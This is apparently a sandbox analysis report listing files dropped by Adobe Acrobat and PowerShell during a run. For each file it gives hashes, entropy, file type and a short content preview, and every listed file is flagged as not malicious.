Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.275930888050152
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDU2k2TCEHdVoZcg1vRcR0YUzcHKoAvJfbPtdPeUkwRe9:YvXKXBJCEEZc0vxYH5GDV8Ukee9
MD5:	541C7B9ED623613B7DB1C8881BD5964D
SHA1:	349A854D2FF2BAAEA0BE24C0626B701D677A81A6
SHA-256:	83A6FB5CC56A71DE9D801CC1EBD28FFECE4B89E1027A2096D40AD5D17908208D
SHA-512:	04DEEDD1E2EF080B79A98BD7FE4E43915F74111942E998286B2E77F4AE92804FF6D5F2112FC5D76008AE845BE3BCC5A2CAFE383208DE1CA9770EA3CBCBC1D451
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4152168e-6a5f-43bc-a796-5bd451ae27a2","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736709041405,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.281051468176675
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDU2k2TCEHdVoZcg1vRcR0YUzcHKoAvJf21rPeUkwRe9:YvXKXBJCEEZc0vxYH5G+16Ukee9
MD5:	7ADB34203D13C801E7F34E20FD0C2BE0
SHA1:	63B6C3885A1CAAB3768B1BF0E69B426FFF9DDE2D
SHA-256:	49805261CE69D02A834000F6F9D6C99B495723138553A8E37EFD8037D6B10DC3
SHA-512:	8F19CDD77052DFECAA35E1C45CA1AB9AC7FDC267A3989061F28B25C408507C9879F569C2F273C5C654B2CE64568F560139E188CF605D709583F9AD4F7BA70A71
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4152168e-6a5f-43bc-a796-5bd451ae27a2","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736709041405,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.661431864675884
Encrypted:	false
SSDEEP:	24:Yv6XBjEzvUCamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSq:YvF8cBgkDMUJUAh8cvMq
MD5:	C17BBDF6788E19F05655ECB785AD43CA
SHA1:	4B9719C17AF56EA56EF7E867879FEC0A9C304B58
SHA-256:	A975EECE2F360FA3EF84E472C513C839750B493EDCE8D683A9BC6859E8182482
SHA-512:	22A5F5A3C112875827D09BB1A179CFB2D1EE9066C11944F90964650219EBD00DCA8C5C01E3C4AF85BA88224E9555A0F28945B444E6AE7AD810C6191881D2B551
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4152168e-6a5f-43bc-a796-5bd451ae27a2","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736709041405,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.2571062496296115
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDU2k2TCEHdVoZcg1vRcR0YUzcHKoAvJfshHHrPeUkwRe9:YvXKXBJCEEZc0vxYH5GUUUkee9
MD5:	A2549880748205C6B79C58228184CC75
SHA1:	C74AAC2DA9D744D71A18D24F692CEB065D624A24
SHA-256:	F965B585575ECC7F743C64E6E543E133BCE2D05212EA94FFC608BCAD6E689672
SHA-512:	17A65A8AAB3C87BC4DB8D716EA7E25E42949CDC0A9DB571715AB12325BAFF0174DEED793F51424F038ADF167A3787C6360ED45F886F26FBC7F4A6AA737075001
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4152168e-6a5f-43bc-a796-5bd451ae27a2","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736709041405,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.265902233924375
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDU2k2TCEHdVoZcg1vRcR0YUzcHKoAvJTqgFCrPeUkwRe9:YvXKXBJCEEZc0vxYH5GTq16Ukee9
MD5:	123C9A787E328FE9E216E47101D50C94
SHA1:	3D1B1D0902804CC4E6486E2089BC16D00C1CA8FE
SHA-256:	E9AA68956A195E4AAF391087ECE7F5C2E04F4244B42147DB2ED109603A9F80D1
SHA-512:	B6F86B32FC7FF49B623A03F7799D36F21250BE93620FBECC5A3086C1018C3B2F058D4B0D452E77FE200DB6DBB9BCC2DC1C8B004D613316ED3FBCC108957B1EAB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4152168e-6a5f-43bc-a796-5bd451ae27a2","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736709041405,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.137237008193359
Encrypted:	false
SSDEEP:	48:YgCaApOCMX6sO1JqbQSPyJpclfw1ZGm9H4:83pOCMX6sOD4tspYfwWsH4
MD5:	CE04289CCBB148368A1C574547A9DE6F
SHA1:	359CC0FB1BA727AD9BB31519C9E3484C8DDB4D88
SHA-256:	F1FC2A2284C38292F3C7BA1AB3753997E3D5E8BDE8EF699C8D85C0AE93C20D12
SHA-512:	175106363432B795CCA0B5213DBD8F07B3B28FB0B6EB22EFB9E55DB97445EB1CA6963CF177EC0DF5C010DFEE2AD86F5A81322E010AD24B1C0CFB79A09009EF12
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"bbc26c5825c38844761833a21996450d","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736532386000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"8aec2d3c1461abe061de82224dc45a3f","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736532386000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"b6a895a40544dd42b169236380fade62","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736532386000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"9c32a0fad83eae8169fe28a971aacb79","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736532386000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"b2037165188dc67b3ee8e765931fded5","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736532385000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"4f24023ced961b87da58ffef871f714e","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.187576779904609
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUUPuSvR9H9vxFGiDIAEkGVvp7o:lNVmswUUUUUUUUG+FGSItg
MD5:	5EA2B5602E5861A5321B1AC52211F569
SHA1:	5BB9D7D2CE5DDFD8BE80B0FD8612376368462C0E
SHA-256:	905D7533A472D6EA1627EB489FD21EAC761085A774F9AD591DCAE79376C2EDC9
SHA-512:	C38158C08320EA83C847FFFC259FE6293E70DAC690C78CAA1A35BE0A022A950A572F8A09780D4B73E8473E4F36E7621868C7667B882321B76F17FEE44AB017E2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.6026261238085213
Encrypted:	false
SSDEEP:	48:7MpKUUUUUUUUUUP8vR9H9vxFGiDIAEkGVvNqFl2GL7mso:77UUUUUUUUUUUFGSItzKVmso
MD5:	CD7836639085F53A6884B50D394074B2
SHA1:	83502A0DF654C53B75848E8309BEA1CADA815CCA
SHA-256:	E7C62B5DBCD05B46B4A73D41DF395391CCE1D85BC98D217B06A6BFDD30DFDE0E
SHA-512:	080A5754F53DB0672EF5065ED42BF9F494DBD9A4A35C61293E8610E3E7B3DCBB73D403E4B2C0EE4457CF3B76CD41C2A109E8447FF82C2EEF7C85C2AA9469CAAC
Malicious:	false
Preview:	.... .c...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgvz/J7G4ALL9aabAozVHpgqn8lP7Yyu:6a6TZ44ADEvDJ7G44BaabV2K
MD5:	E60A4F1A2E0353D2073886D44CA86380
SHA1:	845911460529D1544B85FD58E1155E10703C6448
SHA-256:	908F0A393FDB3259665DBC952EBE58A421ACB62F7E08E866E55233FA38AE62F8
SHA-512:	F732782B0DFBFF53BE1EB9B37FDECCF705198FE528745F93F466E85B3D4FC8484466DB433D4CB6D4326515A6A967EA969CA8BFED913FF1FAE020739A9E293F17
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulJnp/p:NllU
MD5:	BC6DB77EB243BF62DC31267706650173
SHA1:	9E42FEFC2E92DE0DB2A2C9911C866320E41B30FF
SHA-256:	5B000939E436B6D314E3262887D8DB6E489A0DDF1E10E5D3D80F55AA25C9FC27
SHA-512:	91DC4935874ECA2A4C8DE303D83081FE945C590208BB844324D1E0C88068495E30AAE2321B3BA8A762BA08DAAEB75D9931522A47C5317766C27E6CE7D04BEEA9
Malicious:	false
Preview:	@...e.................................X..............@..........

C:\Users\user\AppData\Local\Temp\MSI4217b.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.511206980872271
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEV9:Qw946cPbiOxDlbYnuRK+bDf
MD5:	37A3293C73CCB75A5918B15222E04E2D
SHA1:	326E21C2DD399271F2DA1D38475F734A13CC7253
SHA-256:	2E8DCFC797012FC2F8F76CD682CB542D2D444A39F2B54E0C172FB1E6101AF823
SHA-512:	784CED150E215A96BA13B339023BF67C93356964D75BE327A680D39CAD20A70B6718F67D99CF1AB1D106FAE3C74B7DB584A456B3BA6D41A20E57A60545B96C53
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.3.:.0.6.:.2.7. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dqezttdi.crn.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_up0cxut4.gya.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A9142pmxu_12r3sbk_62c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 13-06-21-541.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.378303918969802
Encrypted:	false
SSDEEP:	384:e5VkdRmjq2jqjtjlj4jyjLjRljbjAaUSzaipvaMj78V6ZFH/vOKOuGMe/5Tq6SKy:8+2mhRc+X9lv3
MD5:	2B30AEC454D6EAC5DD5F3FD53A605C6E
SHA1:	FC4D67E28A166B3E6D1A3E6624E69D40CC77DA78
SHA-256:	362E0E61172EBD881D24CA94D0E0CAA93732280B60423B015090C22821AAC0BF
SHA-512:	628B8F696AEA316E4AFB5DC9A5B523BBCF59D6E36492EFCC21991AA3FD910A3566EC4D7245BA42B7DB6F08DD10BFB7303A4EAAE4CF68E2EDA6DBB561D61B3DF3
Malicious:	false
Preview:	SessionID=09786453-7d9f-4b34-ab95-3466dd24b169.1736532381553 Timestamp=2025-01-10T13:06:21:553-0500 ThreadID=7956 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=09786453-7d9f-4b34-ab95-3466dd24b169.1736532381553 Timestamp=2025-01-10T13:06:21:569-0500 ThreadID=7956 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=09786453-7d9f-4b34-ab95-3466dd24b169.1736532381553 Timestamp=2025-01-10T13:06:21:569-0500 ThreadID=7956 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=09786453-7d9f-4b34-ab95-3466dd24b169.1736532381553 Timestamp=2025-01-10T13:06:21:569-0500 ThreadID=7956 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=09786453-7d9f-4b34-ab95-3466dd24b169.1736532381553 Timestamp=2025-01-10T13:06:21:569-0500 ThreadID=7956 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.385189753289013
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2rU:X4
MD5:	A50E2584C20D82293FB1BD563019FF43
SHA1:	ABBFCE3C08DB9FC291C7213AF31F1E61FEB34CBE
SHA-256:	EE9A8776C6AB66F3EB2356AE9DE699B6DFC3B4C86BBD30E14766F992665328C0
SHA-512:	E3376391552D981D327C6344718EBE62736ED3C0DD666708F27A983B0E6B586725E2AA4B8D75147760AFC6823F68F48E309C9EABBE8A6FBF635A12C017CE95CD
Malicious:	false
Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\18cc8cbb-2502-4eb1-bef0-d429065652fb.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/M7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZjZwYIGNPJe:RB3mlind9i4ufFXpAXkrfUs03WLaGZje
MD5:	716C2C392DCD15C95BBD760EEBABFCD0
SHA1:	4B4CE9C6AED6A7F809236B2DAFA9987CA886E603
SHA-256:	DD3E6CFC38DA1B30D5250B132388EF73536D00628267E7F9C7E21603388724D8
SHA-512:	E164702386F24FF72111A53DA48DC57866D10DAE50A21D4737B5687E149FF9D673729C5D2F2B8DA9EB76A2E5727A2AFCFA5DE6CC0EEEF7D6EBADE784385460AF
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\ca34f328-bcf2-4512-8d96-e9082e523024.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
